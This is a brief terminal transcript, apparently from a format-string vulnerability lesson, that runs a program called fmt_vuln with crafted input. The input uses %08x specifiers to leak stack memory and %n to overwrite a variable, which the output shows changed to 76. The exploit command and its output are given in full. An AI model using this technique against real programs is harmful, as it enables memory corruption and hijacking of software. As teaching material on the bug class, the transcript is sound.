- massey@debian:~$ ./fmt_vuln $(printf "\x98\x97\x04\x08")%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
- The right way to print input:
- ��%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n
- The wrong way to print input:
- ��bffff244.b7fe4298.b7fe45fc.b7fe4298.00000000.00000000.bffff660.b7ff87f5.
- @@[*] test_val @ 0x08049798 = 76 0x0000004c
